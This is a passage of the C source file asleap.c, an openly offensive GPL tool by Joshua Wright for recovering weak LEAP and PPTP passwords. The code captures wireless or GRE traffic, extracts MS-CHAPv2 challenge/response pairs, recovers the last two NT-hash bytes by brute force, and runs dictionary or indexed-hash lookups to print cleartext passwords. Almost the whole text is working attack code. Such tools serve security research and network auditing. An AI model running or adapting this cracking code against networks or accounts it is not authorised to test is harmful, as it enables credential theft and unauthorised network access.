-
Notifications
You must be signed in to change notification settings - Fork 21
/
asleap.c
1637 lines (1328 loc) · 44.5 KB
/
asleap.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/*
* asleap - actively recover weak LEAP passwords. Pronounced "asleep".
*
* Copyright (c) 2004, Joshua Wright <[email protected]>
*
* $Id: asleap.c,v 1.30 2007/05/10 19:29:06 jwright Exp $
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation. See COPYING for more
* details.
*
* asleap is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
/*
* Significant code is graciously taken from the following:
* MS-CHAPv2 and attack tools by Jochen Eisinger, Univ. of Freiburg
* AirJack drivers by Abaddon.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <signal.h>
#include <time.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <ctype.h>
#include <sys/ioctl.h>
#include <net/ethernet.h>
#include <pcap-bpf.h>
#include <sys/types.h>
#include <pcap.h>
#include <netpacket/packet.h>
#include <linux/if.h>
#include <linux/wireless.h>
#include "asleap.h"
#include "utils.h"
#include "common.h"
#include "version.h"
#include "sha1.h"
#include "radiotap.h"
#include "byteswap.h"
#include "ieee80211.h"
#include "ieee8021x.h"
#include "ietfproto.h"
#define SNAPLEN 2312
#define PROMISC 1
#define TIMEOUT 500 /* for pcap */
#define PROGNAME "asleap"
/* Globals */
pcap_t *p = NULL;
u_char *packet;
struct pcap_pkthdr h;
char errbuf[PCAP_ERRBUF_SIZE];
int success = 0; /* For return status of attack */
unsigned long pcount=0;
/* prototypes */
void usage(char *message);
void cleanup();
void print_leapexch(struct asleap_data *asleap_ptr);
void print_hashlast2(struct asleap_data *asleap_ptr);
void print_leappw(struct asleap_data *asleap_ptr);
int gethashlast2(struct asleap_data *asleap_ptr);
int getmschappw(struct asleap_data *asleap_ptr);
int getpacket(pcap_t *p);
int listdevs();
int testleapchal(struct asleap_data *asleap_ptr, int plen, int offset);
int testleapsuccess(struct asleap_data *asleap_ptr, int plen, int offset);
int testleapresp(struct asleap_data *asleap_ptr, int plen, int offset);
int findlpexch(struct asleap_data *asleap_ptr, int timeout, int offset);
void asleap_reset(struct asleap_data *asleap);
int stripname(char *name, char *stripname, int snamelen, char delim);
int attack_leap(struct asleap_data *asleap);
int attack_pptp(struct asleap_data *asleap);
int testpptpchal(struct asleap_data *asleap_ptr, int plen, int offset);
int testpptpresp(struct asleap_data *asleap_ptr, int plen, int offset);
int testpptpsuccess(struct asleap_data *asleap_ptr, int plen, int offset);
void genchalhash(struct asleap_data *asleap);
int stripname(char *name, char *stripname, int snamelen, char delim)
{
char *loc;
if (name == NULL)
return -1;
loc = strchr(name, delim);
if (loc == NULL) {
strncpy(stripname, name, snamelen);
return (1);
} else {
++loc;
strncpy(stripname, loc, snamelen);
return (0);
}
}
/* Program usage. */
void usage(char *message)
{
if (strlen(message) > 0) {
printf("%s: %s\n", PROGNAME, message);
}
printf("Usage: %s [options]\n", PROGNAME);
printf("\n"
"\t-r \tRead from a libpcap file\n"
"\t-i \tInterface to capture on\n"
"\t-f \tDictionary file with NT hashes\n"
"\t-n \tIndex file for NT hashes\n"
"\t-s \tSkip the check to make sure authentication was successful\n"
"\t-h \tOutput this help information and exit\n"
"\t-v \tPrint verbose information (more -v for more verbosity)\n"
"\t-V \tPrint program version and exit\n"
"\t-C \tChallenge value in colon-delimited bytes\n"
"\t-R \tResponse value in colon-delimited bytes\n"
"\t-W \tASCII dictionary file (special purpose)\n" "\n");
}
void print_pptpexch(struct asleap_data *asleap_ptr)
{
int j;
printf("\tusername: ");
if (IsBlank(asleap_ptr->username)) {
printf("no username");
} else {
printf("%s\n", asleap_ptr->username);
}
printf("\tauth challenge: ");
for (j = 0; j < 16; j++) {
printf("%02x", asleap_ptr->pptpauthchal[j]);
}
printf("\n");
printf("\tpeer challenge: ");
for (j = 0; j < 16; j++) {
printf("%02x", asleap_ptr->pptppeerchal[j]);
}
printf("\n");
printf("\tpeer response: ");
for (j = 0; j < 24; j++) {
printf("%02x", asleap_ptr->response[j]);
}
printf("\n");
}
void print_leapexch(struct asleap_data *asleap_ptr)
{
int j;
printf("\tusername: ");
if (IsBlank(asleap_ptr->username)) {
printf("no username");
} else {
printf("%s\n", asleap_ptr->username);
}
printf("\tchallenge: ");
for (j = 0; j < 8; j++) {
printf("%02x", asleap_ptr->challenge[j]);
}
printf("\n");
printf("\tresponse: ");
for (j = 0; j < 24; j++) {
printf("%02x", asleap_ptr->response[j]);
}
printf("\n");
}
void print_hashlast2(struct asleap_data *asleap_ptr)
{
printf("\thash bytes: ");
if (asleap_ptr->endofhash[0] == 0 && asleap_ptr->endofhash[1] == 0) {
printf("no NT hash ending known.");
} else {
printf("%02x%02x", asleap_ptr->endofhash[0],
asleap_ptr->endofhash[1]);
}
printf("\n");
}
void print_leappw(struct asleap_data *asleap_ptr)
{
int j;
printf("\tNT hash: ");
/* Test the first 4 bytes of the NT hash for 0's. A nthash with 4
leading 0's is unlikely, a match indicates a unused field */
if (asleap_ptr->nthash[0] == 0 && asleap_ptr->nthash[1] == 0 &&
asleap_ptr->nthash[2] == 0 && asleap_ptr->nthash[3] == 0) {
printf("no matching NT hash was found.");
} else {
for (j = 0; j < 16; j++) {
printf("%02x", asleap_ptr->nthash[j]);
}
}
printf("\n");
printf("\tpassword: ");
if (IsBlank(asleap_ptr->password)) {
printf("no matching password was found.");
} else {
printf("%s", asleap_ptr->password);
}
printf("\n");
}
void cleanup()
{
if (p != NULL) {
printf("Closing pcap ...\n");
pcap_close(p);
}
if (success == 1) {
exit(0);
} else {
exit(-1);
}
}
int gethashlast2(struct asleap_data *asleap_ptr)
{
int i;
unsigned char zpwhash[7] = { 0, 0, 0, 0, 0, 0, 0 };
unsigned char cipher[8];
for (i = 0; i <= 0xffff; i++) {
zpwhash[0] = i >> 8;
zpwhash[1] = i & 0xff;
DesEncrypt(asleap_ptr->challenge, zpwhash, cipher);
if (memcmp(cipher, asleap_ptr->response + 16, 8) == 0) {
/* Success in calculating the last 2 of the hash */
/* debug - printf("%2x%2x\n", zpwhash[0], zpwhash[1]); */
asleap_ptr->endofhash[0] = zpwhash[0];
asleap_ptr->endofhash[1] = zpwhash[1];
return 0;
}
}
return (1);
}
/* Accepts the populated asleap_data structure with the challenge and
response text, and our guess at the full 16-byte hash (zpwhash). Returns 1
if the hash does not match, 0 if it does match. */
int testchal(struct asleap_data *asleap_ptr, unsigned char *zpwhash)
{
unsigned char cipher[8];
DesEncrypt(asleap_ptr->challenge, zpwhash, cipher);
if (memcmp(cipher, asleap_ptr->response, 8) != 0)
return (1);
DesEncrypt(asleap_ptr->challenge, zpwhash + 7, cipher);
if (memcmp(cipher, asleap_ptr->response + 8, 8) != 0)
return (1);
/* else - we have a match */
return (0);
}
/* Use a supplied dictionary file instead of the hash table and index file */
int getmschapbrute(struct asleap_data *asleap_ptr)
{
FILE *wordlist;
char password[MAX_NT_PASSWORD + 1];
unsigned char pwhash[MD4_SIGNATURE_SIZE];
unsigned long long count = 0;
if (*asleap_ptr->wordfile == '-') {
wordlist = stdin;
} else {
if ((wordlist = fopen(asleap_ptr->wordfile, "rb")) == NULL) {
perror("fopen");
return -1;
}
}
while (!feof(wordlist)) {
fgets(password, MAX_NT_PASSWORD + 1, wordlist);
/* Remove newline */
password[strlen(password) - 1] = 0;
NtPasswordHash(password, strlen(password), pwhash);
count++;
if ((count % 500000) == 0) {
printf("\033[K\r");
printf(" Testing %lld: %s\r", count, password);
fflush(stdout);
}
if (pwhash[14] != asleap_ptr->endofhash[0] ||
pwhash[15] != asleap_ptr->endofhash[1])
continue;
if (testchal(asleap_ptr, pwhash) == 0) {
/* Found a matching password! w00t! */
memcpy(asleap_ptr->nthash, pwhash, 16);
strncpy(asleap_ptr->password, password,
strlen(password));
fclose(wordlist);
return (1);
}
}
return 0;
}
/* Brute-force all the matching NT hashes to discover the clear-text password */
int getmschappw(struct asleap_data *asleap_ptr)
{
unsigned char zpwhash[16] =
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
struct hashpass_rec rec;
struct hashpassidx_rec idxrec;
char password_buf[MAX_NT_PASSWORD];
int passlen, recordlength, passwordlen, i;
FILE *buffp, *idxfp;
/* If the user passed an index file for our reference, fseek to
map the file and perform lookups based on indexed offsets.
If there is no index file, perform a linear search.
*/
if (IsBlank(asleap_ptr->dictidx)) {
/* We have no index file. Do a linear search */
if ((buffp = fopen(asleap_ptr->dictfile, "rb")) == NULL) {
perror("[getmschappw] fopen");
return (-1);
}
fflush(stdout);
while (!feof(buffp)) {
memset(&rec, 0, sizeof(rec));
memset(&password_buf, 0, sizeof(password_buf));
memset(&zpwhash, 0, sizeof(zpwhash));
fread(&rec.rec_size, sizeof(rec.rec_size), 1, buffp);
recordlength = rec.rec_size;
passlen = (recordlength - (17));
fread(&password_buf, passlen, 1, buffp);
fread(&zpwhash, 16, 1, buffp);
/* Test last 2 characters of NT hash value of the current entry in the
dictionary file. If the 2 bytes of the NT hash don't
match the calculated value that we store in asleap.endofhash, then
this NT hash isn't a potential match. Move on to the next entry. */
if (zpwhash[14] != asleap_ptr->endofhash[0] ||
zpwhash[15] != asleap_ptr->endofhash[1]) {
/* last 2 bytes of hash don't match - continue */
continue;
}
/* With a potential match, test with this challenge */
if (testchal(asleap_ptr, zpwhash) == 0) {
/* Found a matching password! Store in the asleap_ptr struct */
memcpy(asleap_ptr->nthash, zpwhash, 16);
strncpy(asleap_ptr->password, password_buf,
strlen(password_buf));
fclose(buffp);
return (1);
}
}
/* Could not find a matching NT hash */
fclose(buffp);
} else { /* Use referenced index file for hash searches */
memset(&idxrec, 0, sizeof(idxrec));
if ((idxfp = fopen(asleap_ptr->dictidx, "rb")) == NULL) {
perror("[getmschappw] Cannot open index file");
return (-1);
}
/* Open the file with a buffered file handle */
if ((buffp = fopen(asleap_ptr->dictfile, "rb")) == NULL) {
perror("[getmschappw] fopen");
return (-1);
}
/* Read through the index file until we find the entry that matches
our hash information */
while (idxrec.hashkey[0] != asleap_ptr->endofhash[0] ||
idxrec.hashkey[1] != asleap_ptr->endofhash[1]) {
if (fread(&idxrec, sizeof(idxrec), 1, idxfp) != 1) {
/* Unsuccessful fread, or EOF */
printf("\tReached end of index file.\n");
fclose(idxfp);
fclose(buffp);
return (0);
}
}
/* The offset entry in the idxrec struct points to the first
hash+pass record in the hash+pass file that matches our offset. The
idxrec struct also tells us how many entries we can read from the
hash+pass file that match our hashkey information. Collect records
from the hash+pass file until we read through the number of records
in idxrec.numrec */
/* fseek to the correct offset in the file */
if (fseeko(buffp, idxrec.offset, SEEK_SET) < 0) {
perror("[getmschappw] fread");
fclose(buffp);
fclose(idxfp);
return (-1);
}
for (i = 0; i < idxrec.numrec; i++) {
memset(&rec, 0, sizeof(rec));
memset(&password_buf, 0, sizeof(password_buf));
fread(&rec.rec_size, sizeof(rec.rec_size), 1, buffp);
/* The length of the password is the record size, 16 for the hash,
1 for the record length byte. */
passwordlen = rec.rec_size - 17;
/* Check for corrupt data conditions, prevent segfault */
if (passwordlen > MAX_NT_PASSWORD) {
fprintf(stderr,
"Reported password length (%d) is longer than "
"the max password length (%d).\n",
passwordlen, MAX_NT_PASSWORD);
return (-1);
}
/* Gather the clear-text password from the dict+hash file,
then grab the 16 byte hash */
fread(&password_buf, passwordlen, 1, buffp);
fread(&zpwhash, sizeof(zpwhash), 1, buffp);
/* Test the challenge and compare to our hash */
if (testchal(asleap_ptr, zpwhash) == 0) {
/* Found a matching password! Store in the asleap_ptr struct */
memcpy(asleap_ptr->nthash, zpwhash, 16);
strncpy(asleap_ptr->password, password_buf,
strlen(password_buf));
fclose(buffp);
fclose(idxfp);
/* success */
return (1);
}
}
/* Could not find a match - bummer */
fclose(buffp);
fclose(idxfp);
}
return (0);
}
/* Examine the packet contents of packet, return an offset number of bytes to
the beginning of the EAP frame contents, if present, otherwise return -1 */
int geteapoffset(u_char *packet, int plen, int offset)
{
struct ieee80211 *dot11;
struct ieee8022 *dot2;
struct ieee8021x *dot1x;
struct eap_hdr *eap;
dot11 = (struct ieee80211 *)(packet+offset);
offset += DOT11HDR_A3_LEN;
plen -= DOT11HDR_A3_LEN;
if (plen <= 0) {
return -1;
}
/* Discard ad-hoc and WDS */
if (dot11->u1.fc.from_ds == 1 && dot11->u1.fc.to_ds == 1) {
return -1;
}
if (dot11->u1.fc.from_ds == 0 && dot11->u1.fc.to_ds == 0) {
return -1;
}
if (dot11->u1.fc.type != DOT11_FC_TYPE_DATA) {
return -1;
}
/* Ensure valid data type */
switch(dot11->u1.fc.subtype) {
case DOT11_FC_SUBTYPE_DATA:
break;
case DOT11_FC_SUBTYPE_QOSDATA:
offset += DOT11HDR_QOS_LEN;
plen -= DOT11HDR_QOS_LEN;
break;
default:
return -1;
}
if (plen <= 0) {
return -1;
}
dot2 = (struct ieee8022 *)(packet+offset);
offset += DOT2HDR_LEN;
plen -= DOT2HDR_LEN;
if (plen <= 0) {
return -1;
}
if (dot2->dsap != IEEE8022_SNAP || dot2->ssap != IEEE8022_SNAP) {
return -1;
}
if (ntohs(dot2->type) != IEEE8022_TYPE_DOT1X) {
return -1;
}
dot1x = (struct ieee8021x *)(packet+offset);
offset += DOT1XHDR_LEN;
plen -= DOT1XHDR_LEN;
if (plen <= 0) {
return -1;
}
if (dot1x->version != DOT1X_VERSION) {
return -1;
}
if (dot1x->type != DOT1X_TYPE_EAP) {
return -1;
}
/* If the dot1x length field is larger than the remaining packet
* contents, bail.
*/
if (ntohs(dot1x->len) > (plen)) {
return -1;
}
/* If the dot1x length field is smaller than the minimum EAP header
* size, bail.
*/
if (ntohs(dot1x->len) < EAPHDR_MIN_LEN) {
return -1;
}
eap = (struct eap_hdr *)(packet + offset);
plen -= EAPHDR_MIN_LEN;
/* don't update poffset as we want to point to begining of EAP header */
if (plen < 0) {
return -1;
}
/* 1=request, 2=response, 3=success, 4=failure */
if (eap->code < 1 || eap->code > 4) {
return -1;
}
/* EAP packet, return with offset to beginning of EAP data */
return offset;
}
/* Examine the packet contents of packet, return an offset number of bytes to
the beginning of the EAP frame contents, if present, otherwise return -1 */
int getpppchapoffset(u_char *packet, int plen, int offset)
{
struct ieee80211 *dot11;
struct ieee8022 *dot2;
struct iphdr *ip;
struct grehdr *gre;
struct ppphdr *ppp;
int iphdrlen;
dot11 = (struct ieee80211 *)(packet+offset);
offset += DOT11HDR_A3_LEN;
plen -= DOT11HDR_A3_LEN;
if (plen <= 0) {
return -1;
}
/* Discard ad-hoc and WDS */
if (dot11->u1.fc.from_ds == 1 && dot11->u1.fc.to_ds == 1) {
return -1;
}
if (dot11->u1.fc.from_ds == 0 && dot11->u1.fc.to_ds == 0) {
return -1;
}
if (dot11->u1.fc.type != DOT11_FC_TYPE_DATA) {
return -1;
}
/* Ensure valid data type */
switch(dot11->u1.fc.subtype) {
case DOT11_FC_SUBTYPE_DATA:
break;
case DOT11_FC_SUBTYPE_QOSDATA:
offset += DOT11HDR_QOS_LEN;
plen -= DOT11HDR_QOS_LEN;
break;
default:
return -1;
}
if (plen <= 0) {
return -1;
}
/* IEEE 802.2 header parsing */
dot2 = (struct ieee8022 *)(packet+offset);
offset += DOT2HDR_LEN;
plen -= DOT2HDR_LEN;
if (plen <= 0) {
return -1;
}
if (dot2->dsap != IEEE8022_SNAP || dot2->ssap != IEEE8022_SNAP) {
return -1;
}
if (ntohs(dot2->type) != IEEE8022_TYPE_IP) {
return -1;
}
/* IP Header parsing */
/* Test for at least 4 bytes in IP header for HDR LEN */
if (plen < 4) {
return -1;
}
ip = (struct iphdr *)(packet + offset);
/* Header length is represented in 32-bit words */
iphdrlen = ((ip->ver_hlen & 0x0f) * 4);
if (iphdrlen < IPHDR_MIN_LEN || iphdrlen > IPHDR_MAX_LEN) {
return -1;
}
offset += iphdrlen;
plen -= iphdrlen;
if (ip->proto != IPPROTO_GRE) {
return -1;
}
/* GRE Header parsing */
gre = (struct grehdr *)(packet+offset);
offset += GREHDR_MIN_LEN;
plen -= GREHDR_MIN_LEN;
if (plen < 0) {
return -1;
}
if (ntohs(gre->type) != GREPROTO_PPP) {
return -1;
}
/* Length of the GRE header is variable based on the flags field
settings for sequence and ack numbers. */
if (gre->flags & GRE_FLAG_SYNSET) {
plen -= 4;
offset += 4;
}
if (gre->flags & GRE_FLAG_ACKSET) {
plen -= 4;
offset += 4;
}
/* PPP Header parsing */
ppp = (struct ppphdr *)(packet+offset);
offset += PPPHDR_LEN;
plen -= PPPHDR_LEN;
if (plen <= 0) {
return -1;
}
if (ntohs(ppp->proto) != PPPPROTO_CHAP) {
return -1;
}
/* PPP CHAP Header follows */
return offset;
}
int findlpexch(struct asleap_data *asleap_ptr, int timeout, int offset)
{
struct timeval then, now;
int epochstart, elapsed, n, len;
int chapoffset, leapoffset;
gettimeofday(&then, NULL);
epochstart = ((then.tv_sec * 1000000) + then.tv_usec);
/* Start a while() loop that ends only when the timeout duration is
exceeded, or LEAP credentials are discovered. */
while (1) {
if ((asleap_ptr->leapchalfound && asleap_ptr->leaprespfound &&
asleap_ptr->leapsuccessfound))
return LEAPEXCHFOUND;
if ((asleap_ptr->pptpchalfound && asleap_ptr->pptprespfound &&
asleap_ptr->pptpsuccessfound))
return PPTPEXCHFOUND;
/* Test for out timeout condition */
if (timeout != 0) {
gettimeofday(&now, NULL);
/* Get elapsed time, in seconds */
elapsed =
((((now.tv_sec * 1000000) + now.tv_usec) -
epochstart) / 1000000);
if (elapsed > timeout)
return LPEXCH_TIMEOUT;
}
/* Obtain a packet for analysis */
n = getpacket(p);
len = (h.len - offset);
/* Test to make sure we got something interesting */
if (n < 0) {
continue;
} else if (n == 1) {
if (asleap_ptr->verbose)
printf("Reached EOF on pcapfile.\n");
cleanup(); /* exits */
}
if (packet == NULL) {
continue;
}
if (asleap_ptr->verbose > 2) {
lamont_hdump((packet + offset), h.len - offset);
printf("\n");
}
/* Start new packet parser here */
leapoffset = geteapoffset(packet, len, offset);
if (leapoffset > 0) {
len -= leapoffset;
if (asleap_ptr->leapchalfound == 0
&& asleap_ptr->leaprespfound == 0) {
if (testleapchal(asleap_ptr, len, leapoffset)
== 0) {
asleap_ptr->leapchalfound = 1;
continue;
}
}
if (asleap_ptr->leapchalfound == 1
&& asleap_ptr->leaprespfound == 0) {
if (testleapresp(asleap_ptr, len, leapoffset)
== 0) {
asleap_ptr->leaprespfound = 1;
continue;
}
}
if (asleap_ptr->leapsuccessfound == 0
&& asleap_ptr->leapchalfound == 1
&& asleap_ptr->leaprespfound == 1) {
if (asleap_ptr->skipeapsuccess) {
asleap_ptr->leapsuccessfound = 1;
continue;
} else if (testleapsuccess(asleap_ptr, len,
leapoffset) == 0) {
asleap_ptr->leapsuccessfound = 1;
continue;
}
}
}
chapoffset = getpppchapoffset(packet, len, offset);
if (chapoffset > 0) {
if (asleap_ptr->pptpchalfound == 0
&& asleap_ptr->pptprespfound == 0) {
if (testpptpchal(asleap_ptr, len, chapoffset)
== 0) {
asleap_ptr->pptpchalfound = 1;
continue;
}
}
if (asleap_ptr->pptprespfound == 0
&& asleap_ptr->pptpchalfound == 1) {
if (testpptpresp(asleap_ptr, len, chapoffset)
== 0) {
asleap_ptr->pptprespfound = 1;
continue;
}
}
if (asleap_ptr->pptpsuccessfound == 0
&& asleap_ptr->pptpchalfound == 1
&& asleap_ptr->pptprespfound == 1) {
if (testpptpsuccess(asleap_ptr, len,
chapoffset) == 0) {
asleap_ptr->pptpsuccessfound = 1;
continue;
}
}
}
}
}
void genchalhash(struct asleap_data *asleap)
{
SHA1_CTX context;
unsigned char digest[SHA1_MAC_LEN];
char strippedname[256];
int j;
/* RFC2759 indicates a username "BIGCO\johndoe" must be stripped to
contain only the username for the purposes of generating the 8-byte
challenge. Section 4, */
stripname(asleap->username, strippedname, sizeof(strippedname), '\\');
SHA1Init(&context);
SHA1Update(&context, asleap->pptppeerchal, 16);
SHA1Update(&context, asleap->pptpauthchal, 16);
SHA1Update(&context, (uint8_t *)strippedname, strlen(strippedname));
SHA1Final(digest, &context);
memcpy(&asleap->challenge, digest, 8);
printf("\tchallenge: ");
for (j = 0; j < 8; j++)
printf("%02x", digest[j]);
printf("\n");
}
int attack_leap(struct asleap_data *asleap)
{
int getmschappwret = 0;
if (asleap->verbose)
printf("\tAttempting to recover last 2 of hash.\n");
if (gethashlast2(asleap)) {
printf("\tCould not recover last 2 bytes of hash from the\n");
printf("\tchallenge/response. Sorry it didn't work out.\n");
asleap_reset(asleap);
return -1;
} else {
print_hashlast2(asleap);
}
if (asleap->verbose)
printf("\tStarting dictionary lookups.\n");
if (!IsBlank(asleap->wordfile)) {
/* Attack MS-CHAP exchange with a straight dictionary list */
getmschappwret = getmschapbrute(asleap);
} else {
getmschappwret = getmschappw(asleap);
}
if (getmschappwret == 1) {
/* Success! Print password and hash info */
print_leappw(asleap);
return 0;
} else if (getmschappwret == 0) {
/* No matching hashes found */
printf("\tCould not find a matching NT hash. ");
printf("Try expanding your password list.\n");
printf("\tI've given up. Sorry it didn't work out.\n");
return 1;
} else {
/* Received an error */
printf("Experienced an error in getmschappw, returned %d.\n",
getmschappwret);
return -1;
}
return -1;
}
int attack_pptp(struct asleap_data *asleap)
{
int getmschappwret = 0;
if (asleap->verbose)
printf("\tAttempting to recover last 2 of hash.\n");
/* Generate the 8-byte hash from the auth chal, peer chal and
* login name */
genchalhash(asleap);
if (gethashlast2(asleap)) {
printf("\tCould not recover last 2 bytes of hash from the\n");
printf("\tchallenge/response. Sorry it didn't work out.\n");
asleap_reset(asleap);
return -1;
} else {
print_hashlast2(asleap);
}
if (asleap->verbose)
printf("\tStarting dictionary lookups.\n");
if (!IsBlank(asleap->wordfile)) {
/* Attack MS-CHAP exchange with a straight dictionary list */
getmschappwret = getmschapbrute(asleap);
} else {
getmschappwret = getmschappw(asleap);
}
if (getmschappwret == 1) {
/* Success! Print password and hash info */
print_leappw(asleap);
return 0;
} else if (getmschappwret == 0) {
/* No matching hashes found */
printf("\tCould not find a matching NT hash. ");
printf("Try expanding your password list.\n");
printf("\tI've given up. Sorry it didn't work out.\n");
return 1;
} else {
/* Received an error */
printf("Experienced an error in getmschappw, returned %d.\n",
getmschappwret);
return -1;
}
}